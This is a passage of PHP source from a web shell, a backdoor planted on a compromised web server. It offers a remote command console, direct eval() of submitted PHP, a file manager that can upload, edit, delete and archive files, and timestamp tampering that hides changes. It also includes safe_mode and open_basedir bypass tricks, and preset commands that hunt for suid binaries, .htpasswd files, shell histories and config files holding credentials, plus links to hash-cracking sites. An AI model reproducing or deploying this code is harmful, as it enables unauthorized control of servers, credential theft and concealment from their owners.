  516. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  517. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  518. if(!@chmod($_POST['p1'], $perms))
  519. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  520. }
  521. clearstatcache();
  522. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';
  523. break;
  524. case 'edit':
  525. if( !is_writable($_POST['p1'])) {
  526. echo 'File isn\'t writeable';
  527. break;
  528. }
  529. if( !empty($_POST['p3']) ) {
  530. $time = @filemtime($_POST['p1']);
  531. $_POST['p3'] = substr($_POST['p3'],1);
  532. $fp = @fopen($_POST['p1'],"w");
  533. if($fp) {
  534. @fwrite($fp,$_POST['p3']);
  535. @fclose($fp);
  536. echo 'Saved!<br><script>p3_="";</script>';
  537. @touch($_POST['p1'],$time,$time);
  538. }
  539. }
  540. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  541. $fp = @fopen($_POST['p1'], 'r');
  542. if($fp) {
  543. while( !@feof($fp) )
  544. echo htmlspecialchars(@fread($fp, 1024));
  545. @fclose($fp);
  546. }
  547. echo '</textarea><input type=submit value="submit"></form>';
  548. break;
  549. case 'hexdump':
  550. $c = @file_get_contents($_POST['p1']);
  551. $n = 0;
  552. $h = array('00000000<br>','','');
  553. $len = strlen($c);
  554. for ($i=0; $i<$len; ++$i) {
  555. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  556. switch ( ord($c[$i]) ) {
  557. case 0: $h[2] .= ' '; break;
  558. case 9: $h[2] .= ' '; break;
  559. case 10: $h[2] .= ' '; break;
  560. case 13: $h[2] .= ' '; break;
  561. default: $h[2] .= $c[$i]; break;
  562. }
  563. $n++;
  564. if ($n == 32) {
  565. $n = 0;
  566. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  567. $h[1] .= '<br>';
  568. $h[2] .= "\n";
  569. }
  570. }
  571. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  572. break;
  573. case 'rename':
  574. if( !empty($_POST['p3']) ) {
  575. if(!@rename($_POST['p1'], $_POST['p3']))
  576. echo 'Can\'t rename!<br>';
  577. else
  578. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  579. }
  580. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';
  581. break;
  582. case 'touch':
  583. if( !empty($_POST['p3']) ) {
  584. $time = strtotime($_POST['p3']);
  585. if($time) {
  586. if(!touch($_POST['p1'],$time,$time))
  587. echo 'Fail!';
  588. else
  589. echo 'Touched!';
  590. } else echo 'Bad time format!';
  591. }
  592. clearstatcache();
  593. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';
  594. break;
  595. /* (С) 12.2015 mitryz */
  596. case 'frame':
  597. $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
  598. if ($frameSrc[0] != '/')
  599. $frameSrc = '/' . $frameSrc;
  600. if ($frameSrc[strlen($frameSrc) - 1] != '/')
  601. $frameSrc = $frameSrc . '/';
  602. $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
  603. echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
  604. break;
  605. }
  606. echo '</div>';
  607. hardFooter();
  608. }
  609. if($os == 'win')
  610. $aliases = array(
  611. "List Directory" => "dir",
  612. "Find index.php in current dir" => "dir /s /w /b index.php",
  613. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  614. "Show active connections" => "netstat -an",
  615. "Show running services" => "net start",
  616. "User accounts" => "net user",
  617. "Show computers" => "net view",
  618. "ARP Table" => "arp -a",
  619. "IP Configuration" => "ipconfig /all"
  620. );
  621. else
  622. $aliases = array(
  623. "List dir" => "ls -lha",
  624. "list file attributes on a Linux second extended file system" => "lsattr -va",
  625. "show opened ports" => "netstat -an | grep -i listen",
  626. "process status" => "ps aux",
  627. "Find" => "",
  628. "find all suid files" => "find / -type f -perm -04000 -ls",
  629. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  630. "find all sgid files" => "find / -type f -perm -02000 -ls",
  631. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  632. "find config.inc.php files" => "find / -type f -name config.inc.php",
  633. "find config* files" => "find / -type f -name \"config*\"",
  634. "find config* files in current dir" => "find . -type f -name \"config*\"",
  635. "find all writable folders and files" => "find / -perm -2 -ls",
  636. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  637. "find all service.pwd files" => "find / -type f -name service.pwd",
  638. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  639. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  640. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  641. "find all .bash_history files" => "find / -type f -name .bash_history",
  642. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  643. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  644. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  645. "Locate" => "",
  646. "locate httpd.conf files" => "locate httpd.conf",
  647. "locate vhosts.conf files" => "locate vhosts.conf",
  648. "locate proftpd.conf files" => "locate proftpd.conf",
  649. "locate psybnc.conf files" => "locate psybnc.conf",
  650. "locate my.conf files" => "locate my.conf",
  651. "locate admin.php files" =>"locate admin.php",
  652. "locate cfg.php files" => "locate cfg.php",
  653. "locate conf.php files" => "locate conf.php",
  654. "locate config.dat files" => "locate config.dat",
  655. "locate config.php files" => "locate config.php",
  656. "locate config.inc files" => "locate config.inc",
  657. "locate config.inc.php" => "locate config.inc.php",
  658. "locate config.default.php files" => "locate config.default.php",
  659. "locate config* files " => "locate config",
  660. "locate .conf files"=>"locate '.conf'",
  661. "locate .pwd files" => "locate '.pwd'",
  662. "locate .sql files" => "locate '.sql'",
  663. "locate .htpasswd files" => "locate '.htpasswd'",
  664. "locate .bash_history files" => "locate '.bash_history'",
  665. "locate .mysql_history files" => "locate '.mysql_history'",
  666. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  667. "locate backup files" => "locate backup",
  668. "locate dump files" => "locate dump",
  669. "locate priv files" => "locate priv"
  670. );
  671. function actionConsole() {
  672. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  673. prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  674. $_POST['p1'] .= ' 2>&1';
  675. } elseif(!empty($_POST['p1']))
  676. prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  677. if(isset($_POST['ajax'])) {
  678. prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
  679. ob_start();
  680. echo "d.cf.cmd.value='';\n";
  681. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0"));
  682. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  683. if(@chdir($match[1])) {
  684. $GLOBALS['cwd'] = @getcwd();
  685. echo "c_='".$GLOBALS['cwd']."';";
  686. }
  687. }
  688. echo "d.cf.output.value+='".$temp."';";
  689. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  690. $temp = ob_get_clean();
  691. echo strlen($temp), "\n", $temp;
  692. exit;
  693. }
  694. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  695. prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  696. hardHeader();
  697. echo "<script>
  698. if(window.Event) window.captureEvents(Event.KEYDOWN);
  699. var cmds = new Array('');
  700. var cur = 0;
  701. function kp(e) {
  702. var n = (window.Event) ? e.which : e.keyCode;
  703. if(n == 38) {
  704. cur--;
  705. if(cur>=0)
  706. document.cf.cmd.value = cmds[cur];
  707. else
  708. cur++;
  709. } else if(n == 40) {
  710. cur++;
  711. if(cur < cmds.length)
  712. document.cf.cmd.value = cmds[cur];
  713. else
  714. cur--;
  715. }
  716. }
  717. function add(cmd) {
  718. cmds.pop();
  719. cmds.push(cmd);
  720. cmds.push('');
  721. cur = cmds.length-1;
  722. }
  723. </script>";
  724. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
  725. foreach($GLOBALS['aliases'] as $n => $v) {
  726. if($v == '') {
  727. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  728. continue;
  729. }
  730. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  731. }
  732.  
  733. echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
  734. if(!empty($_POST['p1'])) {
  735. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  736. }
  737. echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  738. echo '</form></div><script>d.cf.cmd.focus();</script>';
  739. hardFooter();
  740. }
  741. function actionPhp() {
  742. if( isset($_POST['ajax']) ) {
  743. $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  744. ob_start();
  745. eval($_POST['p1']);
  746. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  747. echo strlen($temp), "\n", $temp;
  748. exit;
  749. }
  750. hardHeader();
  751. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  752. echo '<h1>PHP info</h1><div class=content>';
  753. ob_start();
  754. phpinfo();
  755. $tmp = ob_get_clean();
  756. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  757. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  758. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  759. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  760. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  761. echo $tmp;
  762. echo '</div><br>';
  763. }
  764. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  765. $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  766. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  767. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  768. if(!empty($_POST['p1'])) {
  769. ob_start();
  770. eval($_POST['p1']);
  771. echo htmlspecialchars(ob_get_clean());
  772. }
  773. echo '</pre></div>';
  774. hardFooter();
  775. }
  776. function actionFilesMan() {
  777. if (!empty ($_COOKIE['f']))
  778. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  779.  
  780. if(!empty($_POST['p1'])) {
  781. switch($_POST['p1']) {
  782. case 'uploadFile':
  783. if ( is_array($_FILES['f']['tmp_name']) ) {
  784. foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
  785. if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
  786. echo "Can't upload file!";
  787. }
  788. }
  789. }
  790. break;
  791. case 'mkdir':
  792. if(!@mkdir($_POST['p2']))
  793. echo "Can't create new dir";
  794. break;
  795. case 'delete':
  796. function deleteDir($path) {
  797. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  798. $dh = opendir($path);
  799. while ( ($▟ = readdir($dh) ) !== false) {
  800. $▟ = $path.$▟;
  801. if ( (basename($▟) == "..") || (basename($▟) == ".") )
  802. continue;
  803. $type = filetype($▟);
  804. if ($type == "dir")
  805. deleteDir($▟);
  806. else
  807. @unlink($▟);
  808. }
  809. closedir($dh);
  810. @rmdir($path);
  811. }
  812. if(is_array(@$_POST['f']))
  813. foreach($_POST['f'] as $f) {
  814. if($f == '..')
  815. continue;
  816. $f = urldecode($f);
  817. if(is_dir($f))
  818. deleteDir($f);
  819. else
  820. @unlink($f);
  821. }
  822. break;
  823. case 'paste':
  824. if($_COOKIE['act'] == 'copy') {
  825. function copy_paste($c,$s,$d){
  826. if(is_dir($c.$s)){
  827. mkdir($d.$s);
  828. $h = @opendir($c.$s);
  829. while (($f = @readdir($h)) !== false)
  830. if (($f != ".") and ($f != ".."))
  831. copy_paste($c.$s.'/',$f, $d.$s.'/');
  832. } elseif(is_file($c.$s))
  833. @copy($c.$s, $d.$s);
  834. }
  835. foreach($_COOKIE['f'] as $f)
  836. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  837. } elseif($_COOKIE['act'] == 'move') {
  838. function move_paste($c,$s,$d){
  839. if(is_dir($c.$s)){
  840. mkdir($d.$s);
  841. $h = @opendir($c.$s);
  842. while (($f = @readdir($h)) !== false)
  843. if (($f != ".") and ($f != ".."))
  844. copy_paste($c.$s.'/',$f, $d.$s.'/');
  845. } elseif(@is_file($c.$s))
  846. @copy($c.$s, $d.$s);
  847. }
  848. foreach($_COOKIE['f'] as $f)
  849. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  850. } elseif($_COOKIE['act'] == 'zip') {
  851. if(class_exists('ZipArchive')) {
  852. $zip = new ZipArchive();
  853. if ($zip->open($_POST['p2'], 1)) {
  854. chdir($_COOKIE['c']);
  855. foreach($_COOKIE['f'] as $f) {
  856. if($f == '..')
  857. continue;
  858. if(@is_file($_COOKIE['c'].$f))
  859. $zip->addFile($_COOKIE['c'].$f, $f);
  860. elseif(@is_dir($_COOKIE['c'].$f)) {
  861. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  862. foreach ($iterator as $key=>$value) {
  863. $zip->addFile(realpath($key), $key);
  864. }
  865. }
  866. }
  867. chdir($GLOBALS['cwd']);
  868. $zip->close();
  869. }
  870. }
  871. } elseif($_COOKIE['act'] == 'unzip') {
  872. if(class_exists('ZipArchive')) {
  873. $zip = new ZipArchive();
  874. foreach($_COOKIE['f'] as $f) {
  875. if($zip->open($_COOKIE['c'].$f)) {
  876. $zip->extractTo($GLOBALS['cwd']);
  877. $zip->close();
  878. }
  879. }
  880. }
  881. } elseif($_COOKIE['act'] == 'tar') {
  882. chdir($_COOKIE['c']);
  883. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  884. ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  885. chdir($GLOBALS['cwd']);
  886. }
  887. unset($_COOKIE['f']);
  888. setcookie('f', '', time() - 3600);
  889. break;
  890. default:
  891. if(!empty($_POST['p1'])) {
  892. prototype('act', $_POST['p1']);
  893. prototype('f', serialize(@$_POST['f']));
  894. prototype('c', @$_POST['c']);
  895. }
  896. break;
  897. }
  898. }
  899. hardHeader();
  900. echo '<h1>File manager</h1><br><center><a href="http://ofux.pro" target="_blank"><img src="https://www.ofux.pro/images/banner.png"></a></center><br><div class=content><script>p1_=p2_=p3_="";</script>';
  901. $dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  902. if($dirContent === false) { echo 'Can\'t open this folder!';hardFooter(); return; }
  903. global $sort;
  904. $sort = array('name', 1);
  905. if(!empty($_POST['p1'])) {
  906. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  907. $sort = array($match[1], (int)$match[2]);
  908. }
  909. echo "<script>
  910. function sa() {
  911. for(i=0;i<d.files.elements.length;i++)
  912. if(d.files.elements[i].type == 'checkbox')
  913. d.files.elements[i].checked = d.files.elements[0].checked;
  914. }
  915. </script>
  916. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  917. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  918. $dirs = $files = array();
  919. $n = count($dirContent);
  920. for($i=0;$i<$n;$i++) {
  921. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  922. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  923. $tmp = array('name' => $dirContent[$i],
  924. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  925. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  926. 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  927. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  928. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  929. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  930. );
  931. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  932. $files[] = array_merge($tmp, array('type' => 'file'));
  933. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  934. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  935. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != "."))
  936. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  937. }
  938. $GLOBALS['sort'] = $sort;
  939. function cmp($a, $b) {
  940. if($GLOBALS['sort'][0] != 'size')
  941. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  942. else
  943. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  944. }
  945. usort($files, "cmp");
  946. usort($dirs, "cmp");
  947. $files = array_merge($dirs, $files);
  948. $l = 0;
  949. foreach($files as $f) {
  950. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  951. .'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  952. $l = $l?0:1;
  953. }
  954. echo "<tr id=fak><td colspan=7>
  955. <input type=hidden name=ne value=''>
  956. <input type=hidden name=a value='FilesMan'>
  957. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  958. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  959. <label><select name='p1'>";
  960. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  961. echo "<option value='paste'>↳ Paste</option>";
  962. echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  963. if(class_exists('ZipArchive'))
  964. echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
  965. echo "<option value='tar'>+ tar.gz</option>";
  966. echo "</select></label>";
  967. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  968. echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  969. echo "<input type='submit' value='submit'></td></tr></form></table></div>";
  970. hardFooter();
  971. }
  972. function actionStringTools() {
  973. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  974. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  975. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  976. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  977. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  978. $stringTools = array(
  979. 'Base64 encode' => 'base64_encode',
  980. 'Base64 decode' => 'base64_decode',
  981. 'Url encode' => 'urlencode',
  982. 'Url decode' => 'urldecode',
  983. 'Full urlencode' => 'full_urlencode',
  984. 'md5 hash' => 'md5',
  985. 'sha1 hash' => 'sha1',
  986. 'crypt' => 'crypt',
  987. 'CRC32' => 'crc32',
  988. 'ASCII to HEX' => 'ascii2hex',
  989. 'HEX to ASCII' => 'hex2ascii',
  990. 'HEX to DEC' => 'hexdec',
  991. 'HEX to BIN' => 'hex2bin',
  992. 'DEC to HEX' => 'dechex',
  993. 'DEC to BIN' => 'decbin',
  994. 'BIN to HEX' => 'binhex',
  995. 'BIN to DEC' => 'bindec',
  996. 'String to lower case' => 'strtolower',
  997. 'String to upper case' => 'strtoupper',
  998. 'Htmlspecialchars' => 'htmlspecialchars',
  999. 'String length' => 'strlen',
  1000. );
  1001. if(isset($_POST['ajax'])) {
  1002. prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
  1003. ob_start();
  1004. if(in_array($_POST['p1'], $stringTools))
  1005. echo $_POST['p1']($_POST['p2']);
  1006. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1007. echo strlen($temp), "\n", $temp;
  1008. exit;
  1009. }
  1010. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1011. prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  1012. hardHeader();
  1013. echo '<h1>String conversions</h1><div class=content>';
  1014. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
  1015. foreach($stringTools as $k => $v)
  1016. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1017. echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1018. if(!empty($_POST['p1'])) {
  1019. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1020. }
  1021. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  1022. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1023. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1024. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1025. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1026. <tr><td></td><td><input type='submit' value='submit'></td></tr>
  1027. </table></form>";
  1028. function hardRecursiveGlob($path) {
  1029. if(substr($path, -1) != '/')
  1030. $path.='/';
  1031. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1032. if(is_array($paths)&&@count($paths)) {
  1033. foreach($paths as $▟) {
  1034. if(@is_dir($▟)){
  1035. if($path!=$▟)
  1036. hardRecursiveGlob($▟);
  1037. } else {
  1038. if(empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2'])!==false)
  1039. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($▟)."\", \"view\",\"\")'>".htmlspecialchars($▟)."</a><br>";
  1040. }
  1041. }
  1042. }
  1043. }
  1044. if(@$_POST['p3'])
  1045. hardRecursiveGlob($_POST['c']);
  1046. echo "</div><br><h1>Search for hash:</h1><div class=content>
  1047. <form method='post' target='_blank' name='hf'>
  1048. <input type='text' name='hash' style='width:200px;'><br>
  1049. <input type='hidden' name='act' value='find'/>
  1050. <input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  1051. <input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  1052. <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
  1053. <input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  1054. <input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>
  1055. <input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>
  1056. <input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  1057. </form></div>";
  1058. hardFooter();
  1059. }
  1060. function actionSafeMode() {
  1061. $temp='';
  1062. ob_start();
  1063. switch($_POST['p1']) {
  1064. case 1:
  1065. $temp=@tempnam($test, 'cx');
  1066. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1067. echo @file_get_contents($temp);
  1068. unlink($temp);
  1069. } else
  1070. echo 'Sorry... Can\'t open file';
  1071. break;
  1072. case 2:
  1073. $files = glob($_POST['p2'].'*');
  1074. if( is_array($files) )
  1075. foreach ($files as $filename)
  1076. echo $filename."\n";
  1077. break;
  1078. case 3:
  1079. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1080. curl_exec($ch);
  1081. break;
  1082. case 4:
  1083. ini_restore("safe_mode");
  1084. ini_restore("open_basedir");
  1085. include($_POST['p2']);
  1086. break;
  1087. case 5:
  1088. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1089. $uid = @posix_getpwuid($_POST['p2']);
  1090. if ($uid)
  1091. echo join(':',$uid)."\n";
  1092. }
  1093. break;
  1094. case 6:
  1095. if(!function_exists('imap_open'))break;
  1096. $stream = imap_open($_POST['p2'], "", "");
  1097. if ($stream == FALSE)
  1098. break;
  1099. echo imap_body($stream, 1);
